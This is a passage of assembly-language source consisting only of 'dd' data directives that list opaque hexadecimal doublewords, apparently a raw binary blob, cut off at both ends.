20BF5386h, 5850008Fh, 0D89FF8F9h, 9C017BAAh, 3B935F3Ah dd 0E020E96Eh, 342103A0h, 0BD97D28Dh, 60E08EEAh, 0CB01FFC2h dd 268C6FD8h, 0E8649549h, 4DFB0030h, 5F769A7Dh, 0D306376Dh dd 48BB4E42h, 0B0811DA2h, 875CD5h, 3EEAAA09h, 8D71461Ah dd 1C176E01h, 26D2CAFAh, 392FE4h, 2A0C4A98h, 0D98BE948h dd 9F09300h, 8276FD28h, 31D104FEh, 87487166h, 0F302C014h dd 1D0068BBh, 0AF188CEDh, 0A1F317Eh, 0DBD42DBAh, 295818Ch dd 2C9CF745h, 6E61011Ch, 809ACF3h, 0DF28F500h, 2DB43900h dd 2C043C36h, 0BA60C461h, 0BA4C006h, 0E9004E7Ah, 0E1E48D2Dh dd 3F48FFFDh, 7C00A719h, 926AA6B2h, 0C8501D3Eh, 2B05F8Ch dd 86E684FAh, 68F22D14h, 0FA1F00A9h, 5839EAE8h, 1F3E8F5h dd 43FEE7E1h, 304C5005h, 55585BBBh, 0DE580C90h, 721C02Eh dd 167AD1AFh, 4700BBFDh, 0EF013B6Dh, 0E5653F00h, 28C23A99h dd 0C0E25C0Bh, 83F9C700h, 9B10B453h, 13794000h, 54C5EBF1h dd 0C3AA0BCFh, 94267363h, 581E9920h, 169395C4h, 801E4820h dd 870400ACh, 0D1BB12CAh, 8600EC3Ah, 2D23E181h, 33B7668h dd 0B36D3D8Bh, 1CDA4DFAh, 607C18E1h, 0DF127F44h, 0CC839A7h dd 0E8090260h, 0FC504C46h, 1C899480h, 8700E370h, 0D4D02D92h dd 7DE8B6h, 86BDC8ADh, 53FD5BF9h, 9307C00h, 0E3739869h dd 62DA00A5h, 99C17160h, 0E800269Bh, 98E9CEDDh, 4D51901h dd 399E4F30h, 0C9FB8032h, 430113EBh, 5433F8D3h, 0CC300D0Ch dd 7D2E032Fh, 92AB96D0h, 16AC48E0h, 73579B00h, 0B5B034D2h dd 3510007Fh, 0D62EE397h, 1E0736A4h, 7E2464A3h, 0E67A19F0h dd 0D11D00D9h, 33B2B6F8h, 0FC722601h, 41325400h, 537CA151h dd 0E7653E94h, 4005AB8h dd 0F7C01413h, 25001943h, 0CF6712B6h, 0E8B906h, 0B1ECD730h dd 2E11C57Bh, 2FE66D00h, 9FFDA383h, 99AF0FE7h, 0E8C060AEh dd 0B988A7C1h, 51EC5400h, 0E0D4CD6Fh, 84C90235h, 86716248h dd 0E6426A60h, 5A887E00h, 0DF45AB5Eh, 4F7C0115h, 5DE4B3E0h dd 0A4E88036h, 0BA61A90Fh, 62831C78h, 7A003EA6h, 0E1D0BBF4h dd 6C00B232h, 0DBAF888Fh, 1E8C33h, 201DF006h, 0A9C2EEC9h dd 75233F00h, 5BDA32E8h, 0B9F6000Bh, 2A30EB17h, 6550A968h dd 0D1001998h, 6B01CFCDh, 3BAE4Fh, 4B7693A0h, 0E0BC67DEh dd 0B9700B76h, 255E7800h, 3AC0F9CEh, 0FC427D31h, 402B00B1h dd 0DCB07916h, 3000071Bh, 73978E38h, 1C50936Fh, 40BC86B3h dd 24AFCFD7h, 25185F6Dh, 264938BAh, 0D63006Fh, 84C2C485h dd 0FB00DC14h, 0E106F48Fh, 1CF6A8D5h, 0C02065C0h, 0AB973E8Ah dd 5C000232h, 0EA9AFB5Dh, 80079Dh, 2C8DC92Dh, 0E3949333h dd 64008090h, 34AA789Ch, 49FBDFh, 0AC2F9001h, 0A0CA86B2h dd 48645A00h, 0D82D63E2h, 0A397016Bh, 30C2399Ah, 2955CC7Eh dd 25B2A007h, 0B7B0927Ah, 7FCBA1h, 63FBFA6Eh, 4693411Ch dd 11916600h, 0F3C64D96h, 383EF4B9h, 0A88009D2h, 0F5662DD0h dd 4A008D7Eh, 0BCCF7DEEh, 21DAC0h, 6522C21Fh, 0CD977509h dd 3A8A2300h, 0A10EE83h, 5F4E00D1h, 629E9F41h, 8D0167B2h dd 0B0C1F2D7h, 0CCCCEA6Ch, 0C0470F36h, 0AFAFF57Dh, 51D5FB60h dd 4F00D91Ah, 0EC08A737h, 0B7B973h, 0F15A7E19h, 1DCA4C2Ch dd 13B54800h, 0AEC48F0Fh, 0CBE1C81h, 0FB064071h, 0E4F33ABh dd 36738E00h, 0D19F9267h, 43871FADh, 57C9C0EFh, 516D7A10h dd 48745400h, 0F3DABEB3h, 0C22E956h, 51AB4300h, 19EEB9F5h dd 0DAEF8700h, 0AAE5541Eh, 71B31E76h, 6D80B973h, 865DCBCh dd 81004AE2h, 0AE78970h, 24E53D2Eh, 1461BAh, 0A88C2047h dd 605CEDEh, 0B81B5597h, 0A277D400h, 0DAF4B1h, 1F8AFC70h dd 0DC37EB31h, 5FEE6B00h, 36F1B80h, 4F99718Dh, 66EDA0BFh dd 0F152E400h, 72FC247Dh, 307A903Ch, 56302CB0h, 0D0CFDF7Eh dd 0B95DA0BBh, 7C57AA8h, 0C084116Bh, 0A3CF3199h, 0D4A37129h dd 1307FE5Ah, 0D05D980Eh, 0B215BDB0h, 1A1200F7h, 0F3A1CC34h dd 9F2458C7h, 37008835h, 0AD1C3294h, 0B03100E8h, 78A0A295h dd 0BA00DCE7h, 7A4F64EBh, 74BF1Bh, 6A06A426h, 1F62D775h dd 97618D04h, 0B2810E5Dh, 905077E2h, 607B68h, 0B66D1753h dd 0C9DEA5A1h, 2E8FF905h, 7BBCF8BEh, 0BB5B007Bh, 840F404Ah dd 4395F35h, 0EB5801F9h, 5BFFD9CDh, 4AAD20h, 0FDC92E07h dd 0B58413B9h, 81646F00h, 0ADB2CF76h, 5955008Ah, 0DF78C7A6h dd 0B7012219h, 642B9B06h, 65C4C9B6h, 0DE2D014Fh, 0C496F809h dd 20E05745h, 0B77907Bh, 4C93Ch, 7E2ECE20h, 0F80E69B4h dd 1BC21D4Ah, 0DA304094h, 34A1FF42h, 0D1304EEAh, 736790CBh dd 15C00093h, 0C54BB720h, 0B1057568h, 0CD628BF7h, 0FD4CEB01h dd 48DC5E55h, 0D20C1EFEh, 0B43289E4h, 16B57400h, 0E601846Dh dd 0EAA21745h, 91DFF258h, 343062E8h, 0EEE10098h, 49034ADAh dd 0D001F10Eh, 133B3F2Ah, 1020570Ch, 0DEB20037h, 0C7E949FDh dd 30070FF6h, 3ED6FC25h, 0B9941DE0h, 61E400A6h, 45DE2EF4h dd 0C6007442h, 8676CF69h, 0FD9BFE4Ch, 54EC8230h, 771E4BBh dd 671B41ADh, 0B35D00AEh, 1190ACE1h, 74850801h, 0BCA08E6Bh dd 0CE4C24h, 332BFC04h, 1AE54629h, 38A80B34h, 11779090h dd 0E04E0CAEh, 0C0603801h, 5956D313h, 0B4C8C040h, 3D5AB9Eh dd 0B2D7B114h, 0D6E13B83h, 0B8C0F35Ch, 10CC3D15h, 8E1200Ch dd 0D4386C39h, 8087B40Eh, 3CC95D4Eh, 477432D6h, 51E01759h dd 1D3CA603h, 3CB30046h, 76DF9251h, 0BDB00053h, 19A92E58h dd 431DAE71h, 4F0E10E2h, 684355Ch, 0C833FD3Bh, 0D3AB3168h dd 20D5A908h, 34A079CAh, 3E66F6DEh, 48B9D9h, 0A202CC84h dd 8564C163h, 14817100h, 42B588EDh, 5557003Bh, 77601073h dd 7503A01Fh, 151246E4h, 17A790B3h, 7FD78F2h, 0D886E3D5h dd 0ED4920B5h, 0E40084F7h, 4FD3B6EFh, 796A8D7h, 0C27FC8A0h dd 531CF002h, 6B036942h, 0BA79B38h, 0BAD5F017h, 0C8E4000Ch dd 993D66B6h, 6D0005F8h, 0C2AE26FEh, 0FB23C5h, 374A0D85h dd 0D01814DAh, 262A6B15h, 57A51DB4h, 0D3DF361Ch, 62AA540Ch dd 942F5460h, 0B0D800C0h, 7873163Ch, 0B41E7DC2h, 4DC14256h dd 0AC864730h, 0BA18B12Fh, 0B7970138h, 3979FCBEh, 0FF3A4180h dd 34750A46h, 641111C0h, 50B77DFBh, 63AFDCE9h, 46CD0807h dd 0ECF72000h, 23031FFBh, 0E0267770h, 0B2C1009Bh, 38734AEEh dd 4830C0B5h, 0E7313158h, 9315007Eh, 33B0CCD5h, 0B1741CDEh dd 921AF60h, 0EA1686h, 0C50DDAE7h, 0EB6A2DF5h, 51573506h dd 295AB3h, 46F1AB44h, 628F5FF6h, 0B1C8FB61h, 0F083193Fh dd 0DD062D10h, 6FAD3800h, 0EE0F4C34h, 88BA03F1h, 4E62CFFEh dd 0D78464E8h, 0FF1CE000h, 83C88F05h, 1D0700BEh, 76467D47h dd 26000C55h, 9B1E6BA1h, 51B1F8h, 0A83DECD8h, 0C9727592h dd 5E417F00h, 0F49E82D6h, 224F005Dh, 5531660Fh, 4303D9F5h dd 0B233261h, 84C1C00Ah, 7E2200C9h, 11819DC4h, 0F4004A70h dd 0B5FEB2D0h, 0C0F753C1h, 5CAF3680h, 5A00D17Eh, 2B9D3E9Fh dd 1FDD3D24h, 0BC0CAE46h, 79121980h, 0BFB79128h, 730F977Ch dd 0C038B4FEh, 9E176859h, 0DF5E005Ch, 2F674223h, 7400419Ah dd 0E3C60C14h, 0EEB868h, 0A17CC5D9h, 0EB6C8877h, 0F238C00h dd 0FEC87138h, 0BD6300FDh, 24397CD8h, 0C9005B40h, 0C4A63D85h dd 1E93488h, 0BDF03EE1h, 70D7B378h, 0F0792C2h, 531D036h dd 0CB01CFE0h, 2F3D002Dh, 586B4BA6h, 0B3031DC9h, 0F8DCC868h dd 1430B04Fh, 0C8151E3h, 31D1040Ch, 0A51095C3h, 1CD8D893h dd 8EEDBE0h, 7FF0B300h, 0D16D03CEh, 866839FCh, 0D965A40Ch dd 0F384CF29h, 66E022CAh, 27AC0F22h, 22887853h, 673488F1h dd 90A26388h, 0F4CB8487h, 828384Ah, 8B90A513h, 4AD7E984h dd 6408142Ch, 0A63F88AEh, 5088E090h, 27943642h, 0E7887843h dd 9F6490D9h, 3721AA51h, 90C50308h, 93048468h, 379FB4Ch dd 96761D01h, 653B2E4Bh, 0C8A4D8h, 98B163EFh, 2D8CB279h dd 4E3C8F00h, 6FE011Bh, 5937B47h, 0B0643D9Ah, 1DD280E6h dd 0A4079561h, 8482B7E4h, 1B5A5DC0h, 23A90096h, 4291AE9Dh dd 0E9007CCAh, 765F078Ch, 0DDBC7Fh, 45A55A25h, 0B0F662A4h dd 0DB0CA277h, 1078FD8Ch, 20BB0015h, 41BE8A02h, 81124287h dd 245E970Fh, 3A7C94C1h, 7EF8AC37h, 665307D3h, 40D4E010h dd 0B83B0CC8h, 98496F00h, 95507274h, 713D00C3h, 11AAEBC6h dd 40000313h, 0C9F1C194h, 761DE601h, 23FD30F6h, 0B8AF9F21h dd 0F5570902h, 40738356h, 1B813BF6h, 88CB3F4Bh, 0D57E4E00h dd 0E065A272h, 59030020h, 0B8A1D88Fh, 8C00AED6h, 7734CF6Dh dd 7BFB5CCEh, 4A7D7Fh, 0E1A68BB3h, 0FFC4D098h, 0B2284200h dd 0E49E460Fh, 7CA7A027h, 23EA05AFh, 0ED1616Ah, 704604AFh dd 7607E043h, 26A4731Eh, 16CDD8F0h, 0CAD300D5h, 9645C297h dd 4F00ABC3h, 3FB26259h, 0E92C51h, 0E892F7E7h, 2AC38ABAh dd 53DE9C03h, 0A024A6C2h, 1D78F45Ch, 1D3A517Fh, 0BA5080F0h dd 6C5B671Ch, 91EFE00h, 0CD4E945Ch, 0E9F10215h, 51641337h dd 0A6ECD440h, 0AB000477h, 9D0F2BEFh, 3B697CFDh, 1B8713C3h dd 0F049D7B8h, 59B71C67h dd 1500DFF0h, 4F724C99h, 0F61EDBh, 48DE0E2Bh, 797FD221h dd 0E450E900h, 0B49278C0h, 0A5C3070Fh, 50B8635Dh, 0AF827F64h dd 68B7B102h, 480584CDh, 9089923Ch, 78A80310h, 470352Ch dd 2044AFA0h, 0E84EF500h, 3A72096Eh, 0C65D00F8h, 800B0457h dd 0EC261FCBh, 86014FF6h, 0FE971EEFh, 0A14834h, 0EB5EB165h dd 0B0ECB81h, 59AE430Ch, 1CA710ECh, 0C931F8h, 0DEB0BCD0h dd 0CF000947h, 0CC4B309Bh, 98B7EFDh, 8DA44114h, 29F53700h dd 7C7F6378h, 9C97DB00h, 946CCD48h, 931300D1h, 4E35FDD6h dd 654996B1h, 0EC087560h, 0AB9968h, 6E29B5DCh, 1F009855h dd 90FE74A2h, 58DB08h, 0C25C14AEh, 35830E07h, 0FC30C41Dh dd 7A999CBDh, 0C942FD80h, 6162C82Bh, 9C13D87Bh, 654700D3h dd 0A7073C08h, 12E38612h, 4F0040AFh, 46CC9C20h, 76E466B0h dd 0EDBB2B00h, 23E68B2h, 8786002Eh, 0CDDFF34Fh, 0E0095A1h dd 3B8F5499h, 5B92652h, 0C7683569h, 9D40BE7Bh, 1950F496h dd 0F2A100CCh, 0F373F1B6h, 0EFB08C8Ah, 0E2131F00h, 7DEB5B9Bh dd 0BCA13FDCh, 0C5A2A502h, 0CCC061C1h, 0FC000B1Bh, 2B56F873h dd 79C4610h, 0CE65556Dh, 54DF2085h, 8D00B13Ah, 0FCA7A1D7h dd 1F06D184h, 88F6DBh, 0A9C1D61h, 3A003022h, 107EC689h dd 0E880AA19h, 3137191h, 0A9D5FC8Bh, 0C6D843BDh, 3279B828h dd 0E122F503h, 0F0347F51h, 1A04763h, 7A7CC679h, 0F804ECDEh dd 1C00A354h, 0D4922C99h, 0B23E2Ah, 0FC13DBE1h, 691A2EACh dd 34C6C003h, 0D070BECBh, 1DBDCE4h, 4A984B11h, 0E81316D7h dd 7BE45F55h, 5600C2E2h, 20A36652h, 28CD14h, 0D39739A4h dd 58E071FAh, 78004879h, 0FCA35FADh, 73F0DD50h, 82740F9Eh dd 8C2E13B3h, 0B197FFA0h, 0AC0F4B58h, 0A0C66891h, 53B31C5Bh dd 6673B02h, 552BBE80h, 1FF8F599h, 8F3F62FAh, 5D1E80A9h dd 0EBDE2CBFh, 0D6EE3AB0h, 403C649Eh, 3560940Ch, 0D0151CFh dd 0D4B46571h, 61309E67h, 2C0B2CADh, 21594010h, 741653FBh dd 0C0094E9h, 758091ECh, 85F40143h, 996E3810h, 7B36E48Fh dd 0E126F900h, 0DC048A4Dh, 0BDD50EE0h, 83E0C50Dh, 0ADC81AC3h dd 40901D0Fh, 0E4A7C3F1h, 63B4E289h, 48B7C850h, 0FF7300A0h dd 3A4EE09Eh, 18F20722h, 6F3EF700h, 428DA89Fh, 0E71C02F5h dd 561AE659h, 0B409C760h, 0BE3CB97Fh, 0AEF5871Dh, 3480288Eh dd 211573Fh, 0E5308D3Bh, 0A08259B3h, 50C89367h, 2000DECDh dd 0D627A1B5h, 98BBEC3h, 7C1C09B4h, 70000109h, 0CF291EC2h dd 2F7B3F1Dh, 18FF218Ch, 51600920h, 840023E5h, 0A81BF038h dd 3EC4D00h, 0C912337Ah, 0B2E70077h, 0D7BF68FDh, 0C4B2E948h dd 79873900h, 1333A259h, 20520071h, 7D3B0B5Ch, 0CF00F0A1h dd 48EBC0DBh, 3BD02E85h, 13788D2Fh, 68CC28h, 0E8411B86h dd 20FAFA59h, 0C64B9A1Dh, 0BC3835C0h, 0B4EB87h, 0F18A3DD3h dd 6576F611h, 22005C7Dh, 0A8C6FA8Dh, 7CDDBC1h, 2726E1E0h dd 0E0C8B789h, 7515B458h, 6F00F4B8h, 872C7EC5h, 1F9538h dd 0B5D8ED40h, 65E9140Fh, 0BE70A43Fh, 2252803Dh, 554863FBh dd 907AEE11h, 96FE009Bh, 0E172C1D7h, 0D8075D05h, 0CAA1333Bh dd 53A8B221h, 0B06126D9h, 15C5C60h, 82FAEF37h, 40BEC062h dd 0C7A373BFh, 5A0075B0h, 0E93B47B4h, 5C966A27h, 0D5006B30h dd 9BF670B1h, 44755384h, 0C71CF2F6h, 0A3D21C71h, 0FB602C00h dd 1C2F5680h, 791973Ah, 1040F801h, 3EED8B86h, 30D56500h dd 2D4B9812h, 896C0B24h, 0B880CE1Bh, 0BF02925Eh, 0D30E41FCh dd 5DEB84A5h, 4C1C0064h, 80D89989h, 0CC7FA760h, 96D13FD9h dd 34175280h, 8FD03078h, 187C071Eh, 0BE709D80h, 0E06C38C2h dd 0F87474C7h, 0AD6A39F0h, 0D890F483h, 83F92F72h, 0E569E1FEh dd 711980F1h, 4480672Eh, 226F005Ah, 4C9C640Ah, 20C0CB3Dh dd 0C2617BD5h, 817E05E8h, 0C2993C01h, 90C0B387h, 69B0506Eh dd 0CC7DAA1Fh, 0B740A51Fh, 4789F4DFh, 0C6DD0053h, 93CF4405h dd 990020D9h, 0A024E27Fh, 18C94AF7h, 68D4120Dh, 0E10174D2h dd 0C4D1812Eh, 5A8E99BEh, 634001FDh, 3B2619C0h, 30E74C00h dd 0D8182DF9h, 965600AFh, 20B083E4h, 0E3073678h, 2AA83AD3h dd 67A6A30h, 9871E012h, 0CD4D0CB8h, 6FB8B7A7h, 1A1B861Dh dd 0D8BF5AC0h, 0B8727312h, 13E62448h, 0CA3A068Dh, 0FDE49A54h dd 10C91AC0h, 8F76A0h, 64B234D7h, 0EBA39124h, 0D8782709h dd 49C00193h, 842998DEh, 0DC19F580h, 0FEF4BE24h, 6717DC98h dd 30010538h, 17666B8Dh, 0BB10F340h, 2DC8006Fh, 3CDB3794h dd 0FE009592h, 0C4C9F8EAh, 0EB5FDh, 0CB75DA26h, 5CDD646Eh dd 369FF200h, 4CC10930h, 0A4843FB1h, 28EDB000h, 355C7B9Ch dd 319E190Fh, 0E0766E80h, 7334CA57h, 1EC10045h, 3C11C259h dd 0A558B275h, 53E502C7h, 40A44B7Eh, 71771C74h, 3FC400D4h dd 8E0C7F3Bh, 0F300DACCh, 0A88B1F03h, 909B59E1h, 0C86702DAh dd 0E905B089h, 55FF44E0h, 0CC85E630h, 951D8AEh, 0EAA94E5Fh dd 88D07400h, 0B180C6E3h, 324C00D7h, 0BEFE8FDFh, 33006634h dd 0E5FB55CDh, 24516745h, 1E402B06h, 2EB290A6h, 3600F84Dh dd 8F53A1E2h, 41FF01D8h, 6D55C6Dh, 99C03025h, 72F5D000h dd 9D365FC9h, 9ED81677h, 1EEC1285h, 0BAD3C024h, 0B1EDE337h dd 21E44E00h, 57301D87h, 5113001Eh, 3704A170h, 27199145h dd 0E318563Ah, 261262FCh, 83ECAFB4h, 0FB70D2D4h, 0EDF0908Ch dd 0A500A6C1h, 0C6BF90E2h, 2CCAB8h, 9DA25658h, 0ADB99F5Eh dd 0E040248h, 0C0DA77EAh, 0FBD0ABFDh, 81E60112h, 0BCCE552Ah dd 158074C7h, 5CF5FC00h, 28EA7046h, 4C90ECF1h, 3A83A8C3h dd 0C6A006C7h, 2658DDF0h, 0B65E0320h, 0A122E33Fh, 8C302591h dd 90BA00CFh, 24E654DBh, 2900E4B3h, 365CCC08h, 39E8920h dd 2CED1B81h, 0B9A0F457h, 5201BD93h, 1299398Ch, 0C040A93Bh dd 3CFDC889h, 5C800CE5h, 94142857h, 0AF28FCACh, 6500C85Ah dd 68666D6Ah, 14B6A590h, 0CC1EA87Ch, 0D750F600h, 4142F4B2h dd 6B8C7F1Eh, 0A34AEBC0h, 147E76Fh, 69A627E2h, 0C5566DF8h dd 7F13C0CBh, 1B908900h, 0BB7916FCh, 98E1h, 0C509B91Eh dd 4C4F05E6h, 4B59000h, 20BD6084h, 69492CA7h, 9CA40480h dd 0A310C05Fh, 0BB1814F1h, 9A165BC6h, 0CC4301D3h, 0B68E33A7h dd 6823C44Eh, 35058B76h, 2903D076h, 5B1D0480h, 9EE42047h dd 84276C00h, 0AB6E2BE2h, 51C008Dh, 924DECFCh, 3A1F998Fh dd 0E6C0B058h, 38D9379Bh, 7BB060h, 5BCFF3F2h, 8CAB7696h dd 0A1C74502h, 48FAFE50h, 0F84090h, 3B54DF3Dh, 0EB477FFCh dd 0A667F300h, 0AE99C0C1h, 0E2E6C9h, 53BAB923h, 960EE73Dh dd 0EED43806h, 0A0A87Eh, 0FF486114h, 9FD01CD9h, 42853A00h dd 0AE98265h, 0E8314883h, 5A3C7500h, 6A2EE6B0h, 0D900387Eh dd 0C3955CC0h, 0CA72FAh, 0A4CEA16Dh, 131144BDh, 90781A07h dd 6347F52Ch, 0AC553A40h, 0E4EBFE22h, 6AE40654h, 0F6A025A6h dd 0FB08E096h, 4A29396h, 811EA51Bh, 0E08C77F0h, 0A03D473Dh dd 0C1688795h, 0D4100DEAh, 0F3AD941Eh, 4B95BFCh, 0B0F66D7Bh dd 0AB5C801Bh, 10C06E86h, 0D6560C3Ch, 0D0EA059Eh, 0A03F1EFCh dd 0FB00042Ch, 88D9C8Ch, 0CBF045h, 33EEBD43h, 44817939h dd 3291AA05h, 0E01EA47Dh, 93A0F700h, 90E2F5Ch, 14105573h dd 0F36FD080h, 0A903E94Ch, 0C2856307h, 0AB1802E3h, 0F5562505h dd 2D017C7Ah, 921D7610h dd 40CA0F1Ch, 2CF12490h, 0E70C19Eh, 1D0049CEh, 28D543DAh dd 1C032499h, 8995F1CBh, 73E00F16h, 0A04605D0h, 0C043EE23h dd 0A23F36C4h, 0D35AE304h, 7E80325Eh, 73B9C819h, 0CFE200C3h dd 0AE55E4BDh, 9E002A7Fh, 891C2B49h, 5732BEh, 768309C8h dd 94284B80h, 1E78600h, 0E3F5E637h, 0D0565CECh, 2E959F00h dd 0FB48B83Ch, 0BDA9A800h, 84BF8546h, 30B7FDFh, 0EFCD1D40h dd 35C05DE2h, 0DB07A598h, 0B92BCAE3h, 12A1E6D0h, 95310289h dd 0E46B290Ch, 9F617100h, 764D0059h, 0B5D64FD7h, 0DC774CCFh dd 67428C00h, 0F5552DFDh, 27121D53h, 0AC80E77Fh, 8BDC1130h dd 28FFEC12h, 68601F12h, 1EC3F227h, 401E3979h, 3BBCD28Fh dd 0B78052Dh, 0DC00DF78h, 47FE462Ah, 2CB53468h, 67E1598h dd 0D224760Eh, 1B4C8A00h, 419796FEh, 20184869h, 4164232Eh dd 0FC582021h, 0F90F99C3h, 12AD28EEh, 4908740Bh, 8D118458h dd 452E00CAh, 4B203E18h, 40C99496h, 1EB6E5F4h, 0F50747FFh dd 92461AD0h, 0C0628180h, 49C7007Ah, 0E041EF75h, 4A1F8407h dd 5180DBEAh, 18B9AF72h, 23D4147Dh, 0EC058D39h, 0C0B4D191h dd 0EA1BDB64h, 0B85C6B0Eh, 802D4987h, 90025874h, 0FE730039h dd 0D398DB49h, 7E000AF7h, 0F5DE45B3h, 12923770h, 3E53E6CAh dd 24A39F00h, 691B0748h, 4CB29230h, 78A30C0h, 6005C79h dd 0A44DF852h, 0B204410Ch, 8C0E0124h, 0C72EDAEEh, 47E5E014h dd 0B06B3731h, 8E04936h, 0F5F22D70h, 0DD66CC20h, 3E00ADCDh dd 90EA74F6h, 137184h, 0D4D03046h, 0F4DDBC78h, 678A991Fh dd 324F4Bh, 0D91293A8h, 0BC3E2E0Ah, 0EC8200BBh, 0FF0FA6DDh dd 432A73Ah, 6053B273h, 883F3CC3h, 0FA11FA66h, 0F3FC08D1h dd 0EF09B4C9h, 9F3CC8B5h, 3A49028Bh, 0BE6B6205h, 0D279DB60h dd 0FE70D300h, 0F5F99112h, 5FB50058h, 96137F24h, 420957A7h dd 804041D1h, 9F1F4DB8h, 0A929200Dh, 37ADD501h, 0E0155810h dd 0DC104C6Ch, 0D9E4C0ECh, 7ED61C3h, 239ECD0Bh, 42C4B0A0h dd 0DD00AF38h, 7DA110BAh, 0B8B0A5h, 582FF940h, 0E1F5CFA4h dd 4700AC90h, 565B2990h, 38FEB2CAh, 42807E5Ah, 92ED8CDDh dd 0BB7E8BC8h, 8EE59800h, 1497C4ABh, 0E0DC00E3h, 9227FB38h dd 74904902h, 5805D93Eh, 0E57B025Ah, 87AB85F3h, 0A420CC94h dd 130EB402h, 0C17DAD4Bh, 24F22CCCh, 0E9017878h, 17BC87D5h dd 75E8D93Bh, 0D2630E3Eh, 57A4C52Fh, 810CD08Ah, 0D92C5E70h dd 6007A0EBh, 4B25F3D8h, 6AF524D0h, 0FC7C030Ah, 4114368Dh dd 0C58BD080h, 374AD900h, 55544D17h, 0ACAD0052h, 92C21B3Eh dd 0A8C9A2AFh, 24E436h, 3CDB2D97h, 1D04023Fh, 702EC624h dd 8844D200h, 4430A8Dh, 5CE820FDh, 4224C216h, 9E130066h dd 38D0B9AAh, 1955D25h, 7D41CDF2h, 701F4FBAh, 597EA990h dd 0B043425Ah, 0A30EE171h, 1FC18846h, 7CF703FAh, 3051E44h dd 0F6B247B8h, 39FB691Fh, 83BB27C0h, 0CDB9DC3h, 1C0182B1h dd 5100E688h, 6E8E7E46h, 3CCC970Bh, 47806FDAh, 0F7732713h dd 0C17F9178h, 79EA03Ch, 5B63633h, 0B106AD00h, 0CB993F12h dd 1C317880h, 27E73372h, 3A131F04h, 0C080E3E2h, 92088591h dd 0B80F6DCh, 73956B14h, 0A09FE440h, 0FA2ECB00h, 0AB5EDDD6h dd 16F809CDh, 0EC001226h, 464DACBAh, 0B9B42E04h, 80C05A2Ah dd 8E87C5h, 0EC1EFF9h, 0A7BA077Eh, 3038CCA1h, 2B2C7328h dd 7187D412h, 3AB02097h, 0C4404Bh, 0C27D3EBAh, 0A0DF3244h dd 67E0C1Ch, 0C0C55C01h, 0E33133E3h, 72D3434h, 0B46D1112h dd 28050090h, 59C0DF40h, 7DD0268h, 4495818h, 7D48A200h dd 535CA079h, 0BC05E406h, 9C2D0Dh, 0C9C45545h, 94EB8CE3h dd 1F89C617h, 0B77968C1h, 0CD108012h, 80B95C22h, 3C772F48h dd 0FC48BEE7h, 17B17171h, 3FFC8C4h, 86E91640h, 146F4808h dd 20EA13CBh, 0EF28787Ch, 53D3A207h, 7000E536h, 3020AB66h dd 8AC9EA0Eh, 0BE021B90h, 0AEBD3CFCh, 1F81C084h, 90ECEC2Fh dd 0DA6400E3h, 7DA92A13h, 790019CCh, 0B4590907h, 55B2F37h dd 0B1EC7E62h, 0E3E300EFh, 453ABCC7h, 0C030966Fh, 77015DC4h dd 0C3BB021Ah, 98F274EEh, 7CC0B461h, 0D8F900BCh, 0DE147FFCh dd 332E2575h, 0E1768480h, 0DF044155h, 1B671C3Eh, 7243F8F4h dd 0F280337h, 70DE9122h, 40A4C3A8h, 2D75A516h, 2415800h dd 1BE7CA9h, 220B8A29h, 20325726h, 7300CA50h, 0E750E193h dd 2E3C67AAh, 80209BB9h, 0AB074AC1h, 3618E1F1h, 53196D2Bh dd 8B1930BBh, 0A1FCBF0h, 0B75B3900h, 7F5A07CAh, 33C30590h dd 87BBB312h, 60D107D9h, 715D5C3Dh, 0FCE75Ch, 31572A94h dd 9911EFh, 9113FD9Ah, 0CB1D1482h, 34040D5Fh, 84E2DF09h dd 6D5C802Dh, 399E1300h, 0C4967Dh, 420B1DA0h, 84EFBC44h dd 0DCE84004h, 74A410C5h, 0DDAC24FCh, 0A358264h, 545488C9h dd 60F0BF89h, 1CA113D4h, 698AC01h, 79DE6794h, 0D5BB4800h dd 0FC7038BFh, 9F6019Ah, 2A923C29h, 6D9C4087h, 2EF2E9ACh dd 22C7260Bh, 89646044h, 0D79800AFh, 0A2DE13Eh, 0DB00C6FAh dd 0BBB08481h, 1F363104h, 80039F41h, 831D881Ah, 4E00FC95h dd 0D76194BEh, 0EE3B05h, 28327E21h, 0FCE3C834h, 0E7B4EC00h dd 72431120h, 0EFD60745h, 0C38DD82Bh, 28482985h, 0D09400B6h dd 0C38B1B0Fh, 0BC41C4E2h, 4D9CC005h, 0DE00443Ch, 7E652374h dd 0C0F5C1F7h, 1E165BB1h, 0F90014BFh, 0E680EAA5h, 0FA138FB3h dd 0DA93001Fh, 9E725DCDh, 0F325AB86h, 389402C8h, 19230057h dd 0DB008864h, 0A465EFC4h, 10DA89h, 0A0ED0843h, 8211BC07h dd 28B89A4Ch, 0D113B867h, 0B8016E76h, 0A3922B0Eh, 0BA75474h dd 4A1FC3BAh, 364D2403h, 6C605ABAh, 78C2071Eh, 0D89359F6h dd 0CC61006Ch, 84DE4381h, 0D9F0F2DDh, 0B7B08F02h, 56CDC7BCh dd 0FFC0076Ch, 638607Ah, 0B8008045h, 3A904F9h, 0FCEE867h dd 91926628h, 731C19E0h, 8497A5Eh, 218C2548h, 5F66187Ch dd 1C85D8FFh, 3A4E03E3h, 9F4583A8h, 9213F00Eh, 8BA4A140h dd 0E0F6BDC2h, 0FA66218Ch, 0B4283CBAh, 14269F01h, 0FCBE79DAh dd 1E80995h, 0E92E8300h, 0EF5B3759h, 0D7DC1638h, 1F540B67h dd 3DD9E4B0h, 6C0249h, 8A44AD89h, 0B0E1C01Ah, 40DE16C0h dd 92A40083h, 0BBEDA4CEh, 0A70BECB8h, 206423h, 91B9B04Ah dd 0EB6D0112h, 0BD50D77Ah, 21C8E48Fh, 0B47C6800h, 0FCC985FDh dd 0A8B64945h, 0F8D9653Ah, 6900AB3Ah, 0BEB4749h, 0C004DD61h dd 0F3B70797h, 0AD8DA8C1h, 0D85D43CEh, 3A4399h, 0F603385Dh dd 1045FF46h, 819A2300h, 2F52D9CBh, 0A1E6189Eh, 16A798AEh dd 13428D0Eh, 4EDC8330h, 0C51806ACh, 0D0E48C0Bh, 0FFD4FC00h dd 0E19019CDh, 7CCA79A9h, 0ECB23E20h, 58573B80h, 3626F835h dd 0C121E033h, 1A48D8A0h, 61E50F0Ah, 27C03176h, 0D88E2C78h dd 0DAB3A804h, 0E9C25EABh, 0FADE80B6h, 126EE62Dh, 30DE51h dd 0A007067Ah, 7000EFEDh, 1410D024h, 169DFC6Ah, 40949218h dd 17B206ECh, 5000DF23h, 0C35E6841h, 233AF8Ch, 0F5E7C48Fh dd 5C409793h, 6005CD75h, 0C303D401h, 0B738F0h, 0A0985CDDh dd 0AB42DE04h, 0D700E07Dh, 